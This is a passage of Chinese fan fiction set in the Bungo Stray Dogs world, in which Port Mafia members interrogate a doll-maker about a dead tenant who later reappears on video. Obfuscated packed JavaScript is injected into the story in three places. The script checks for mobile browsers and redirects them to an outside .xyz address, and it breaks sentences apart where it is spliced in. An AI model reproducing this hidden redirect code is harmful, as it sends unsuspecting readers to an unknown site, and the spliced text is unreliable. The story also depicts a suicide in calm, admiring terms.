“姓名。” “深见。” “来横滨做什么?” “继承遗产?有人将这幢公馆赠送给我,正好东京的工作不太顺利,于是我便打算来到横滨工作。” “你是做什么工作的?” “人形师,做人偶的。” “关于住在隔壁的女人,名字叫做宇多源美代的,你知道多少?” “宇多源小姐?我们只见过一面,还是我刚来时和租客相约见面、商谈合同的时候,她的合同还有一周到期,但是她不会继续住下去了,也没有提出退款,所以我们就没有再做深入交谈。” “为什么她不打算住下去了?” “……因为下定决心了吧。”深见想了想回答道。 但是对面身穿黑西装的男人却不满意这个答案,他的面相十分凶恶,皮肤粗糙,额头还有一道短短的伤疤。 “喂,小子,别耍花招,给我老实交代。” 这群穿黑西装的男人自称来自港口的黑手党,在今天突兀地闯进这幢坐落在居民区的洋房公馆,不顾隔壁的门锁就破门而入,乱翻一通。深见作为房子的主人出声阻止,却被他们五花大绑捆在椅子上问话。 “我没有说谎。”深见回答,他不着痕迹的动了动手腕,麻绳捆得很紧,磨得他的手腕有些发疼,“请问您找她有什么事情吗?宇多源小姐并未说她会有故人造访,而且这房间我是合法出租给其他人的,您把里面弄成这样,我该怎么和租客交代呀。” “哈?你这家伙,知道什么是黑手党吗?” 深见刚要皱眉,身材健硕的男人就突然一脚踹向椅子,巨大的力气让椅子顿时失去平衡,深见来不及反应,就连人带椅子摔倒在地上。 肩膀被震得发麻、发痛,额角在地板上磕了一下,此刻有些头晕,更糟糕的是,架在鼻梁上的眼镜随着男人粗暴的动作飞了出去,在木质地板上滑行,最后停靠在墙边的矮柜前。 黑色的长发如花朵一般四散开来,在重力的作用下自肩膀滑落,垂在地板上,蛇一般向四周蜿蜒,形成一片水藻般的墨色。 男人的黑皮鞋落在深见的面前,锃光瓦亮的表面反射着周围的光源,倒映着男人模糊成一团肉色的身影,但是深见此刻却顾不上这些了。 “实话告诉你,那个叫宇多源美代的女人是港口黑手党的人,她偷了一份重要文件,三天前失踪了。这里是她的落脚点,你肯定见过那份文件吧,说!它在哪里!” 深见安静地倒在地上,漆黑的长发掩住他的面容,散乱的衣服让他显得狼狈不堪,他一动不动地待着,如果不是胸膛的起伏,几乎要被人认为是一具人偶了。 “三天前?”半晌,他突然开口,语调却十分冷静,不,不如说是异常的平静,“是吗,但是很奇怪啊,那家伙明明——” “七天前就已经死掉了。” 他的脑袋动了一下,脸庞向上侧了侧,头发顺势沿着下颌滑落到脖颈里。深蓝色的眼睛第一次不经过镜片的折射,直面这个世界。这时,这位自称黑手党的男人才发现他的眼睛在光线昏暗的地方竟是这样的漆黑。 深邃、幽暗,如寒潭一般深不可测,只能在某些角落里窥视到一丝蓝色的剪影,仿佛那双眼睛正是由于这些蓝色的不断堆叠,才形成这般浓郁的黑色。 他想到了某个熟悉的人。那人也有着这样一双令人胆寒、视人如死物的眼睛,那是最冷漠的刽子手都不会拥有的眼神。 那不是人类的眼神。 男人下意识后退一步,但很快他又为自己的动作而感到愤怒。 仿佛察觉到对方的愤怒,深见还不等男人的火冒出来,就自动移开了骇人的目光,垂下眼帘,遮住视线,一副乖巧安静的样子。 “宇多源美代早已在七天前死亡,人死债消,我不知道你们和她有什么纠葛,但是这件事情和我一点关系都没有。” “劳驾,”他的声音有些古怪,词语仿佛被硬生生从他的嘴里挤出来一样,“可以把我的眼镜递给我吗?” 黑手党显然不是好说话的角色。或者说,黑手党显然不是可以凭借正常的社交技巧进行沟通的角色。 男人非但没有帮深见捡回眼镜,还掏出枪来上了扳机对着深见打算进一步进行威胁。当然,好的一点在于他把椅子从地上扶起来了,深见得以坐着听他放一些意义不明的狠话。 他看着男人的嘴开开合合,像扇贝一样滑稽可笑,词语滔滔不绝地从里面冒出来,就像一块块光滑的肥肉,吐出来又吞回去,湿滑粘腻,像内脏一样。 但是深见已经听不清楚他在讲些什么了。事实上,那些往日熟悉的语词和短句此刻宛如扭曲的音符,从他的左耳道进入大脑,然后又飞快地从右耳道钻出,不留一丝可以被理解的意义。穿着黑西装的男人的形象在他眼中也慢慢变形,漩涡将他的上半身吞噬,扭曲成一块肉色的大型扇贝。 就在他以为这种无聊的行为还要持续一段时间时,门外的走廊突然传来一阵不同的脚步声。 皮鞋的橡胶底与木质地板碰撞发出啄木鸟一般的咚咚声,那步伐不紧不慢,带着一种悠扬的节奏,宛如蓝调爵士一样优雅地款款而来,抵达门口。 深见被这突然闯入的声音吸引,一种莫名的直觉告诫他一些不同寻常的、将会引发巨变的事情将要发生。他不由自主地悄悄移动视线,在隐蔽的地方透过头发的缝隙观察那扇门。 吱呀—— 大门被推开,光线涌入,逆光而来的人成为一片黑色的剪影。 滔滔不绝的扇贝退到一旁,扭曲的漩涡如摩西分海一般退往两侧,潮汐与海浪如同臣子般向他跪服,遵循他的意志在这被污染、被扭曲、被氧化的世界中留出一条干净的、通往天国的窄道。 他迈着闲适的、优雅的步伐朝深见走来,仿佛周围的一切都无法撼动他。黑色的皮鞋最终停在他的面前,脚尖分开指向两条不同的路径。 深见抬头,顶着几日以来罕见的日光,迎上那不速之客的目光。 那是一个十六岁的少年,尚且稚嫩的面孔已被黑暗打磨出锐利的棱角,他有一头黑色的短发,微卷的发梢轻盈的打着弯,显得柔软又蓬松。他的眼睛是棕色的,逆光时颜色加深,甚至泛出些灰红的底调,呈现出一种奇异的鸢色。 绷带缠满了他的全身,黑色的西装修饰出瘦削的体格,宽大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706465|173551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的黑色大衣披在肩膀上,平白为他增添摄人的气势。他的目光与深见撞在一起,被绷带包裹、唯一露出的眼睛闪了闪,眉梢上扬,透露出饶有趣味的情绪。 一切的洪流在此终结。 深见听到自己的心脏发出沉稳有力的跳动,血液在四肢奔流,如江河般不作停歇,嘶吼着冲入浩瀚的汪洋。 他屏住呼吸,下意识放轻的动作,缓缓地、有节制地,露出一个笑容来。 “你好。”他向来者打招呼。 “劳驾,能把我的眼镜递给我吗?” 这就是太宰治第一次见到深见时的情况。 他驻足片刻,很快将目光移动到掉落在地面上的眼镜上。深见只觉得眼前一花,视野便重新回到了熟悉的样子。 他眨眨眼,让眼球适应新焦距。就看见有着一头柔软的黑色短发、用绷带包住一只眼睛的人正笑吟吟站在他对面,为了适应他坐着的高度还微微俯身,让那件宽大的黑色外套如瀑布一般挡住了自身后射来的光线。 “唔,不错不错,戴着刚刚好,可惜镜片摔碎了,怎么样?看得清楚吗?” “谢谢,看得很清楚。”深见回答道,“我是深见,这幢公寓现在的主人。” “我知道哦。”太宰治说着,自顾自找了张椅子,拉过来与深见面对面坐着。 深见跟着动了动被绑着的手臂,调整了一下坐姿:“还未请教您的姓名。” “太宰,太宰治。”缠绕着绷带的少年回答,他露出一个一闪而逝的笑容,翘着腿,一手撑着脑袋,歪着头用仅露出的一只眼睛看着深见。 “你,刚刚是想杀了他吗?” 听到太宰治的话,深见的呼吸一滞,“……为什么这么说?” “眼神,你刚刚看他的眼睛就像看死人一样。明明在兢兢业业地做着威胁人的工作,但被威胁的人却把自己当死物……”太宰治评价道,“还挺有趣的。” “这样啊——那您喜欢吗?” “不,我讨厌。”太宰治迅速变脸,冷酷无情地道,“讨厌的快要吐出来了。” 深见眨眨眼,看着他,语气柔和,“那现在呢?” 太宰治看着他,“更是令人作呕。” 深见失望了叹了口气,“您讨厌我呢,真可惜,我其实还挺喜欢您的。” 装模做样的家伙。太宰治在心里评价道。 “不过,您刚刚说的其实并不准确,我并没有想杀了他——那位您的下属,虽然他的动作十分粗暴,行为也十分粗鲁,但我并不会因此就决定要杀了他的。”深见言辞恳切地道,“杀人是一件十分重要的事,必须有充足的决心、做好充足的准备才可以,随便把人杀掉这种事没有任何意义,就像只知道茹毛饮血的野兽一样。” 太宰治目光古怪地看着他:“谁教的你这些歪理?” “嗯?”深见疑惑地看着他,“我现在的监护人是这样说的,我觉得很有道理,怎么了?” “不,没什么。”太宰治摇摇头,放过了这个话题。 然而,就在深见以为他们可以继续令人愉快的谈话时,太宰治突然出声提问: “所以,你就是这样对待宇多源美代的?” 12. 宇多源美代07 “宇多源美代……您认为是我杀了她吗?”深见问。 “不,我不觉得是你杀了她。”太宰治在“你”字上面咬了重音。 深见听明白了他的言外之意:“但是您却认为她已经死了。” “宇多源美代没有活下去的可能性。” “因为她偷走了港口黑手党的机密文件?”深见反问道,他想了想,十分认同地点了点头,“确实,黑手党内有您这样的人物的话,她是无论如何都逃脱不了死亡的命运的。” “黑手党如此兴师动众,我猜你们的目标是那份文件?”深见想了想,“我收拾房间的时候并没有什么文件存在,想来宇多源小姐也不会把如此重要的东西随意乱扔,如果是您想知道的话,我愿意配合告诉您关于她的一切。” “当然,仅限于我知道的部分。” “突然这么配合?”这下太宰治是真的有点出乎意料了。 从刚刚的交谈来看,名叫深见的人显然有着异于常人的价值观念,他绝对不是普通人。异能力者?还是别的?太宰治不清楚这个横滨外来者的底细,但考虑到对方面对港口黑手党从容不迫的态度来看,他对自己的底牌显然十分自信。 敌人?朋友?他来到横滨的目的是什么?和港口黑手党有关系吗? 太宰治的大脑中一瞬间闪过数个问题。 “我之前也很配合的。”深见有些无奈地道,“我说的都是实话,只是外面那些先生们不相信我,所以才闹成现在这副样子。” “我虽然是刚搬来横滨的新人,但也想和邻居打好关系,来之前我便听闻港口的黑手党负责维护当地的秩序,一直很想和这边的负责人见上一面,只是苦于没有机会。” “这么说你是专程在这里等我的咯?”太宰治饶有趣味地看着他。 “这么讲倒也没错,如果您喜欢的话……”深见弯了弯眼睛,语气带着笑意,“没错,我是专程在这里等您的。” “是吗。”太宰治换了个姿势,黑色的大衣在他身后撑开,垂落到地上,形成浓郁的帷幕,而他本人则成为黑暗的代言人,“那么,关于宇多源美代,你有什么想说的?” 深见的目光在他脸上顿了一下,随后不着痕迹地移开,思考片刻后,开始讲述起了他所知道的宇多源美代的事情。 “我和那位宇多源小姐相交不深,准确来讲我们其实只有一面之缘。我是6号的时候来到横滨的,有幸住在与她相邻的房间,恰巧遇上她外出回来,我们便正好谈了谈。” “她是一个非常和善的人,性格也很沉稳,她告诉我她在这间公馆住了有几年的时间了,房子无论是采光还是交通都很便利,后面的小花园尤其惹人喜爱,闲暇时她会在花园的香樟树下走一走放松心情。” “她没有告诉我她的职业,只说自己在物流公司上班,是一般职员,我当时料想她的工作大约是那种枯燥乏味又没有任何新意的事情,没料到她竟然是黑手党的一员。”深见顿了顿,继续道,“不过,她确实有提到过关于未来的一些规划。” 六号,太宰治在心底算了算,那是宇多源美代拿到情报的时间。 这个所谓的“未来规划”,会和宇多源美代手中的那份机密情报有关吗? “她不打算续租。”深见斩钉截铁地道。 太宰治捕捉到了关键词,“不续租……她的房租什么时候到期?” “这个月中旬。”深见回答,“而且她提到自己不会搬家,在她离开后房间里的东西我可以自行处理,无需过问她的意见。” “全部吗?” “全部。” “但是现在房租还没有到期吧?”太宰治敏锐地察觉到其中的异常,“为什么你擅作主张处理了宇多源美代的东西?” “因为她当时说的是——‘在她离开后’。” 似乎想起什么有趣的事情,深见眼中流露出一丝笑意。 不,也不应该说是笑意,比起因喜悦表现出的正向情绪,那更接近于一种发现新奇事物时的惊喜和玩味。太宰治看着背绑在椅子上的人,哪怕身临险境也从容不迫,侃侃而谈的状态仿佛在开宣讲会。 他是个不怕危险的家伙。太宰治迅速地意识到,但他的头脑更快地修改了他的推理结论:他是个热衷于危险,甚至会乐意制造危险的人。 横滨来了个危险人物。 “第二天我外出的时候,路过她的门口,见到了她的尸体。宇多源美代在3月7日死在了家中,她的尸体仰面倒在榻榻米上,喉咙被人切开,后仰的头颅正对着门口,嘴唇无力地张开,鲜血从里面流了出来,汩汩、汩汩,仿佛无数只青蛙在大雨中乱叫。” “于是我很快地意识到——宇多源美代已经离开。” 深见说着,语气平淡,既不像谈论天气一样和善,也不像宴会寒暄一样热情,甚至不像宣讲会那样富有说服性。 他在宇多源美代死亡后的第七天,被找上门来的黑手党绑在椅子上逼问,语气平静地、仿佛在叙述一件发生在过去的历史事件一样,讲述了宇多源美代的死亡。 “我按照她最后的遗言,处理了她的东西。” 他从回忆中抽离,凝视着对面的太宰治,深蓝色的眼睛在昏暗的房间里宛如深潭一样漆黑,明明是和人类一样的外表,但那面对死亡无动于衷的态度和平静的叙述却让人不寒而栗。 这是个与人类完全不同的存在。 太宰治垂下眼帘,遮住冰冷的神情。 深见看到他沉默的样子,很快眨眨眼,又恢复了一贯亲切优雅的姿态。 “宇多源美代的死亡与我无关,那份文件我也不曾见到过,我并非是港口黑手党的敌人,更没有与您为敌的意思。还有什么问题吗?太宰君。”他的语气带着天然的笑意,显得十分亲昵。 太宰治却觉得十分恶心。 虚情假意,令人作呕。 “大体上没什么问题了,只是有一件事情还需要你确认一下。”太宰治说着拿出一盘录像带,放给他看。 那是一段监控视频,黑白的画面有些模糊不清,但依稀可以看到一些眼熟的景物。 深见被绑在椅子上,哪怕他和太宰治聊了许久,但太宰治依旧没有解开绳子的意思,深见也没有提出异议。于是此刻他不得不往前探出身来,向太宰治靠近,才能看清楚视频里的画面。 深见一眨不眨地盯着视频,黑色的长发随着他的动作从肩膀垂落,像上好的丝绸一样柔顺,太宰治和他靠得很近,以至于他能够轻易地嗅到对方发丝上传来的一些类似于木头的气味。 带着一些潮湿、干涩、清新的奇怪味道。 甚至有些呛鼻。 “这位女士……”深见看着视频中抬起头来的女人,那张熟悉的面庞映入眼帘,“这是宇多源小姐?她看上去状态不太好……这是什么时候的事?” “3月11日。” 深见睁大了眼睛,“11日,那不是——” “没错,在3月7日死亡的宇多源美代,时隔四天后再一次鲜活地出现在监控录像中。”太宰治的声音冷静而危险,刻意拖长的尾音仿佛深渊的陷阱。 “但是宇多源美确实在3月7日便已经死亡。”轻巧的笑意从深见的眼中消失,他的神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706466|173551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情变得严肃起来,安静地回忆着自己的记忆,逐帧检查画面有无漏洞,最终得出结论,“不会有误的,宇多源美代确实已经死亡,我记得她死去时的样子。” “那么事情就变得有趣起来了。”太宰治笑盈盈地道,“如果宇多源美代的确已经死亡,那么出现在视频中的,到底是什么东西呢?” 深见将目光再度投向视频,他认真地审查着视频中的女人,将她与记忆中的宇多源美代进行对比和筛查,但是最后的结论却让人费解和困惑——她有着和宇多源美代一模一样的面容、身形、举止甚至是细微的表情。 那无疑是宇多源美代本人。 不存在假扮的可能性,亦不存在造假的可能性。 “这个地点看起来很眼熟。”深见突然道。 “嗯,就在日之出町,河边居酒屋后面,一个自动贩售机上面的监控拍下了这段视频。” “宇多源美代离开的方向,是往这边来了?” “看样子是的,你没有见到她吗?” 深见回忆着自己11日的行踪,“没有,我没有见到她,那天我帮新入住的租客搬了家,然后就去工作室工作了,一直呆到第二天,没有见到任何人。” “租客?他11日就已经入住了?”太宰治突然问。 “嗯,因为房间已经收拾出来了,恰好我们也谈得来,干脆就让他提前祝进来了。”深见说着看了一眼太宰治的黑西装,“说起来,那位新租客也是港口黑手党的成员,不过据他说只是底层人员,与您应该相去甚远。” “他叫织田作之助,您听说过他吗?” “没有,他有见过宇多源美代吗?”太宰治问。 “应该是没有的,11日那天晚上他就被喊去加班了,第二天才回来。”深见又说,“您可以和他认识一下。” 太宰治的思考中断了一下,他动了动手指,意识到了什么,“为什么?” 深见真诚地看着他,“您应该会很喜欢他的。” 太宰治面无表情地看着他,露在外面的一只眼睛宛如浓郁的夜色,直勾勾盯着人的时候总让人觉得灵魂都要被他看穿。 “你觉得?为什么你会这么觉得?”他的声音轻飘飘的,仿佛没有重量,但是恶意却宛如水母游走的触须,若有若无地环绕在四周。 “因为,您讨厌的类型简直一目了然嘛。”深见不在意地笑了笑,坐直身体,“您讨厌和自己一样的类型。” “而恰巧,我和那位织田先生非常谈的来,所以按照规律来说,您也一定会喜欢他的。” 真讨厌。太宰治看着被绑在椅子上人,心中的排斥如同被煮沸的淤泥,咕嘟咕嘟不停地上涌,将那股腐烂的恶臭也一起带上来。 “是吗。”他听见自己的声音,翻涌的恶意将他包裹,向他叫嚣着一定要做些什么,“你——” “喂,太宰!那家伙可是大客户,你别把人给弄死——” 就在太宰治准备做些什么的时候,背后的门被人一脚踹开。一个高亮的声音穿透被压抑的黑暗,让房间里的两个人都停下了动作。 太宰治沉默了一下,缓缓回头,不出意料,一个熟悉的身影出现在门口。橘色的头发在阳光下耀眼的可怕,蓝色的眼睛哪怕背对着光线,也依旧清澈透亮。 中原中也和太宰治冰冷的视线对上,作为搭档的他很快读到对方眼中的无语和谴责,他下意识移开目光,然后看见了他的“大客户”,正毫发无伤地坐在椅子上,除了眼镜有些碎裂外,丝毫没有被审问的恐惧,见他望过来,还露出一个柔和的微笑。 中原中也有些尴尬了。 13. 宇多源美代08 3月14日,日之出町,未来公馆。 局面陷入到了一种微妙的复杂。 “介绍一下,这是蛞蝓。”太宰治率先反应过来,他看着进退维谷的中原中也,笑了一下,“个子不高,声音很大哦。” “哈?天天一副死人样的青花鱼有资格说别人吗?”中原中也迅速地被他那声轻笑中带着的嘲讽点燃怒火,于是很快的,局势重新热闹起来。 深见看着太宰治和中原中也的战况在短短几分钟内从互相嘲讽升级到动手动脚,眨眨眼试图理清楚当前的状况。 “劳驾,二位联络感情的活动可以暂停一下吗?” 在太宰治再一次和中原中也的飞踢擦肩而过时,深见终于忍不住开口。 中原中也追杀太宰治的动作一顿,仿佛意识到现场还有第三方在场,尚且没有厚脸皮到太宰治程度的他不由有些心虚地咳嗽了一下,把帽檐往下压了压,恢复了黑手党该有的气势和威慑。 深见对着中原中也点了点头打招呼,“我是深见,初次见面,请问您是?” “中原中也,港口黑手党。”中原中也的介绍十分简洁。 深见了然,“不好意思,您刚刚所说的大客户指的是?” “你从□□的渠道运了东西进来吧。”中原中也道,“编号958776的货箱,还额外上了巨额保险。” 深见肯定了他的说法,“是这样没错,我因工作需要一批比较特别的材料,有些或许不那么‘合法’,在海关那边会比较麻烦,所以干脆通过特殊手段运进来。” “材料虽然不算昂贵,但凑齐还是比较困难的,以防万一我加购了保险项目——这个应该没问题吧?当时的负责人一直向我推荐这个项目,说是可以得到最高规格的安全保障,还有干部押运,虽然我觉得没有什么必要,但他一直推销感觉十分辛苦,于是就签了合同。” 深见正说着,却看见中原中也脸色有些异常,“……有什么不对吗?” “没有哦。”太宰治以一种十分新奇的目光看着他,“只是那种骗冤大头的保险项目其实是我和中也之前打赌定下的,没想到真的会有人购买呢。” 他看向显然为此而来的中原中也,问道:“他的货的价值有保险费的五分之一吗?” “……十分之一都不到。”中原中也移开目光。 太宰治沉默片刻,忍不住在心底感叹一声好大一个冤大头,随机他又意识到什么,看着目光躲闪,明显十分心虚的搭档,一种不好的预感油然而生。 “所以、中也,别告诉我他的货……” “啊,如你所料,全毁了。” “……全部?” “差不多吧,如果被撕碎的材料依旧可以使用,那就当我没说。”中原中也道,“顺带一提,太宰,因为这个巨额保险是你私自定下的项目,所以森先生说了,保险费从你的工资里扣。” 说到这里中原中也的语气带了几分笑意,“大概要几个月的工资?四个月?还是五个月来着?不好意思啊,你这几个月恐怕只能吃□□的食堂了。” 太宰治的脸色瞬间灰暗下来,他仿佛一抹幽魂,虚浮地飘荡在人间,脚下甚至还踉跄了一下,无力地扶着旁边的斗柜。 “螃……螃蟹。” “没有了。” “豆腐汤……” “啊,这个你也别想了。” “蛞蝓寿司……” “寿司这种东西等着食堂供应……不对吧!哪来的蛞蝓寿司,好恶心!” 不大的房间里再一次传来热闹的争吵。深见安静地坐在椅子上看着他们两个人,只有16岁的少年,正常来说此刻正应该在高中为学业苦恼,但在横滨他们却早早穿上大人一样的衣服,或主动或被动地融入到黑暗中。 如果没有加入黑手党的话,他们的未来将会是怎样的呢?深见忍不住去猜测,但是无论如何都难以想象,仿佛他们生来就是要肩负起堕入黑暗的使命的。 在黑夜中行走、在黑暗中穿梭。用沾染着硝烟和鲜血味道的双手,翻动查看一具具尸体的双脚①。这样的生活,真的—— “如果很麻烦的话,那笔保险金不如就算了?”深见突然开口,打断了两人的日常吵架。 太宰治眼睛一亮,却依旧假惺惺地欲拒还迎:“欸,这样真的可以吗?” 中原中也被他做作的样子恶心到不忍直视,深见倒不觉得,反而认真地点点头,肯定了他的决定。 “可以的,因为那笔钱确实很多嘛,如果工资被扣掉,不能吃喜欢的东西,那么生活一定失去很多乐趣吧?”他看向太宰治,目光十分真挚,甚至流露出关切的善意来,“如果用一笔钱就能换来喜悦的心情,那么我认为这是一笔再划算不过的投资了。” 中原中也沉默片刻,看了看深见真诚的表情,又看了看表情僵硬的太宰治,默默在心里把深见“冤大头”的排名往前提了好几个档次。 “而且,比起保险金,我还是更关心我的材料,不过在这之前——看在我表现良好的份上,可以把这个解开吗?”深见动了动肩膀,示意自己的双臂还被捆在身后,有些苦恼地抱怨着,“这个系的好紧,手腕磨的有些疼呢。” “啊,我来吧。” 中原中也上前给他把绳子解开,深见终于得以以正常的姿势坐在椅子上了。他活动了一下手腕,白皙脆弱的腕部,几道磨破皮的红痕异常显眼。 但很快,他就把手腕收进了袖子里,端正地坐在椅子上,双手交叠放在膝盖上,询问道:“请问,到底发生了什么事?” “11日的晚上,港口黑手党的仓库遭到了不明人士的袭击,你的材料在袭击中被波及,遭到破坏。”中原中也顿了顿,“有些材料被拆开了包装,有些被抢走了,还有一些被损坏的,负责人不清楚这些材料的定价,所以需要你亲自过去看看。” 深见了然,“怪不得织田先生11日晚上没有回来,原来出了这么大的事②。” “织田?” “就是住在这里的新租客,他租了宇多源美代小姐之前的房间。” 乍听到熟悉的名字,中原中也愣了一下,随即反应过来,看向太宰治:“所以,这是你新找到的宇多源美代的线索?” 太宰治依旧冷着一张脸,不过在中原中也看来,他的搭档什么时候不摆这一副死人脸的模样才叫奇怪。 “是啊,刚刚开了个头就被你打断了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706467|173551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >中原中也有些纠结,片刻后还是小声地问:“所以,宇多源美代找到了吗?” “没有,出现了点意外。”深见代替太宰治回答了他,“在我的认知中,宇多源美代应该在3月7日就已经确认死亡,事实上,她确实是死掉了,被人割开了喉咙倒在房间的榻榻米上。” “但是不知道为何,这位应该已经死去的宇多源美代,在3月11日晚上,出现在了附近的监控录像中。”太宰治说完,突然想起什么,看向深见,“你说她已经死了,那么尸体呢?尸体你怎么处理了?” “我没有处理。”深见平静地说,“7日那天我约了人见面——就是去港口黑手党那边交保险金,出门的时候见到她死在了家里,但我赶时间,便没有理会,晚上回来的时候尸体已经不见了,只剩下一滩血液。” “你没有报警?”太宰治追问。 “没有。” “为什么?”太宰治逼问道。 “因为……她是自杀的。” 太宰治睁大了眼睛:“……什么意思?” “自杀。”深见说完抬头看向太宰治,深蓝的眼睛里流露出一种怅惘的情绪,“6日那天我与宇多源美代交谈时便发现了,她已经做好了自杀的打算。那所谓的‘在她离开后’其实就是‘在她自杀’后。” “3月7日,那是个很不错的日子,春风和煦,晴空万里,天台的花都开了,小小的藏在绿叶之中,十分惹人喜爱。她怀着喜悦的、满足的、期待的心情,服下了事先准备好的安眠药。” 深见回忆着,不由得露出堪称羡慕的神情。他望着太宰治,明明是最擅长也是最期待死亡的人,但是太宰治此刻面对他却不由得感觉到了一股令人毛骨悚然的异常。 “那是个,非常适合自杀的日子呢。” 深见笑着对太宰治讲道。 太宰治的喉咙有些干涩,他尝试去避开深见潜在的话题, “……宇多源美代是服安眠药自杀的,那么为什么她的喉咙会被割开?她的尸体是谁处理的,后面发生了什么?” 深见浅笑道:“这个我不清楚呢。” 太宰治无语地看着他:“你一点都不在意吗?” 深见反倒觉得奇怪:“宇多源美代决定自杀,也实施了自杀行为,最后如愿以偿的死掉了。在我看来她所期许的未来已然实现,当事人的愿望被完美满足,我还有什么需要在意的东西吗?” “只要结果符合预期,过程如何扭曲都不重要吗。”太宰治喃喃自语。 “没错,黑手党不是最看重结果的人吗?这个您应该比我更清楚吧。”深见说着,“刨根究底是侦探的工作才对,您是想成为侦探吗?”③ “怎么可能,我才不要成为那种只会抓小三的三流货色。只是中间插手的家伙或许和那份文件有关,而且——”他停顿了一下,继续道,“有人委托我找到宇多源美代。” 深见沉吟片刻,重新将目光转向那份录像带,缓慢地开口道:“宇多源美代已经死亡,这是不争的事实,而现在重新出现,只有两种可能:一是视频中的人并非宇多源美代,而是由人假扮;二是这确实是宇多源美代,也就是说——” “有人复活了已死的宇多源美代。” 14. 宇多源美代09 “复活术。” 深见吐露出那个令人心惊的词语。 “人类历史上,有关复活术的传闻故事有很多,但细究起来其实大部分都是虚假的复活术,也就是说——是以欺诈的手段达成的‘伪复活’。” “一般而言,现实生活中最常见的‘复活术’其实是借助假死的手段达成的对于感官的欺骗。”深见说着抬手指了指自己的脖颈,“窒息、电流、低温、药物,现代社会中经常会遇到因各种原因导致的生理机能被抑制的情况,此刻,个体的昏迷、呼吸停滞、脉搏缺失等状态往往会被认为是其‘死亡’的证明。” “一般的临床检查方法无法检测出生命体征,但实际上此人确实还‘活着’,血液循环和大脑机能并没有永久性停止,因此通过医疗手段就可以使人脱离这种表征死亡的状态,从而呈现出‘复活’的现象。” “古代的方士异人往往会用针刺或者灵药的方式助人实现假死①,一些传闻故事中也有使用冰棺封冻的方法,但实际上这些都不是真正的‘复活术’,因为人并没有真正死亡。”谈及熟悉的东西,深见显然来了兴趣,“严格来说,这种应该被叫做‘复苏术’更准确一些。” 太宰治也来了兴趣,经常自杀的他显然也了解一些能使人陷入短暂的“死亡”状态的方法。 “所以呢?如果这种‘复苏术’是假的,那么就意味着有‘真的’复活术存在?” 深见想了想,回答:“那要看是哪一种了。” 中原中也嘴角抽了抽:“这种东西还有种类吗?” “有的哦。”深见道,“比如说,鸟山石燕曾经在《百鬼夜行》中描述过一种名叫‘返魂香’的东西,这种香料源自中亚地区,相传汉武帝曾经使用胡国使者献上的‘返魂香’为心爱的李夫人招魂,使得三日之内死亡的人都复活过来,武帝本人也得以与李夫人的魂魄相见。” 中原中也不以为然:“这种一看就是胡说的吧。” “确实如此,此香后来在《博物志》和《源氏物语》中虽然多有记载,但是因为过程实在过于离奇,而且作用只是唤回魂魄,无法使魂魄进入躯体,达成真正意义上的‘复活’,所以一般都被当作是传说故事处理了。” “那别的呢?”太宰治饶有趣味地问,“还有别的方法吧。” 深见想了想,“还有一种更接近于‘复活术’的真相,就是所谓的‘僵尸’。” “僵尸?”中原中也在心里感叹,真是越说越离谱了。 “东方的僵尸脱胎于传统的阴阳五行学说,尸体受到风水或五行的影响,阴气积聚产生尸变,形成能够自主活动的‘僵尸’。传说中僵尸是一种超越生死轮回的物种,上世纪八九十年代,港区的僵尸电影风靡一时,僵尸的形象大多被固化成身着满服头戴官帽的样子,但是实际上民间早有‘赶尸’的说法。” “湘西那边,古代由于交通不便,客死他乡的人难以叶落归根,便有方士巫师用咒法和药物驱动身体,使其能够回归故乡。近代以来,随着科学知识的普及这一说法渐渐被认为是愚昧的传闻,但也有人指出,‘赶尸’传闻流传深远,应当考虑它作为某种‘帮助死者叶落归根’习俗指称的可能性。” “所以,真的有方法可以驱动尸体?”太宰治问。 “谁知道呢。”深见摊手,“不过无独有偶,西方也有所谓‘僵尸’的传言,主要受宗教和民间黑魔法的影响,‘僵尸’被认为是女巫用黑魔法将灵魂拘束在死后的尸体中,形成的没有理智的产物。后来随着科技的进步,黑魔法不再流行,于是病毒取而代之,形成了现在流行的‘丧尸’电影。” 深见补充道:“实际上科学界也有很多关于操纵尸体的研究,比如可以寄生的真菌一直是热门研究对象,有种叫僵尸蚁的真菌,寄生后通过感染控制蚂蚁的大脑和中枢神经,操纵蚂蚁爬行直至死亡。于是科学家就提出假设——” “已知大脑是控制人类活动的中枢系统,那么是否可以通过在死后刺激大脑的方式,使其产生与活着的时候相同的电信号,从而操控身体,达成与‘活着的时候一样’的效果?” 中原中也觉得有些不舒服,他下意识地抵触着这些内容:“这也太疯狂了,这种事情真的可以做到吗。” “可以的哦。”深见眨眨眼。 “什么?” “比如,中原君觉得神话故事中,腾云驾雾在天空遨游这种事情是可以做到的吗?” “当然不可能嘛,人怎么会飞啊!”中原中也斩钉截铁道。 深见笑着看着他,中原中也愣了一下,反应过来,“啊,你是说——” 